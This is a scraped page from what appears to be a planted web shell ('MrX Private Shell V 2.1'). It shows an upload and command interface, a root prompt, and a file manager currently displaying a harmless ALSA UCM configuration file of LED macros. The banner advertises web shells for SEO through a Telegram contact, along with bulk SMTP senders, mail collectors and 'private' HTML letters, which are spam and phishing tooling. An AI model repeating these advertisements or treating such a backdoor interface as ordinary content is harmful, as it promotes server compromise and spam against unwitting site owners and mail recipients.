__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
#
# Microphone/Speaker LED handling seems like an easy task, but
# the expectations are different:
#
# Main question: Which state should LEDs follow (devices)?
#
# Case 1) set LEDs only for internal resources (speaker/microphone)
# Case 2) set LEDs according the current stream (input/output)
# Case 3) like case 1, but add analog headphones connected to laptop (analog jack)
#
# Discussion for Case 2: It is not possible to handle this in driver
# (kernel). Usually, the sound server knowns the current stream (which may be routed to
# bluetooth or a USB device, for example). Additionally, there is a security flaw if the
# sound server directly controls the LEDs.
#
# Discussion for Case 3: Note that we have currently also USB/Bluetooth headphones which
# do not follow this scenario. In this case, there is no clear LED mapping. It seems
# that this case is somewhat controversional. Thus, analog headphones may be treated as
# an external device.
#
# Result: For safety, simplicity and understable behaviour, only Case 1 should be
# followed - LEDs should respond only to the internal (build-in) speaker output and
# internal (build-in) microphone input in UCM.
#

#
# Macro SetLED - attach or detach speaker or microphone LED to given control element
#
# Arguments:
#   LED    - LED selection - "speaker" or "mic"
#   Action - action for given control - "attach" or "detach"
#   CtlId  - control identifier (as for amixer, e.g. "Capture Switch" or "name='CaptureSwitch',index=1")
#

DefineMacro.SetLED {
	If.0 {
		Condition {
			Type String
			Empty "${var:-SndCtlLedModprobe}"
		}
		True {
			FixedBootSequence [
				exec "-/sbin/modprobe snd_ctl_led"
			]
			Define.SndCtlLedModprobe ok
		}
	}
	If.1 {
		Condition { Type AlwaysTrue }
		True.FixedBootSequence [
			sysw "-/class/sound/ctl-led/${var:__LED}/card${CardNumber}/${var:__Action}:${var:__CtlId}"
		]
	}
}

#
# Macro CtlNew - helper to create new control elemend
#
# Arguments:
#   Arg    - string for cset-new
#

DefineMacro.CtlNew.FixedBootSequence [
	cset-new "${var:__Arg}"
]

Filemanager

Name Type Size Permission Actions
led.conf File 2 KB 0644
remap.conf File 1.05 KB 0644
Filemanager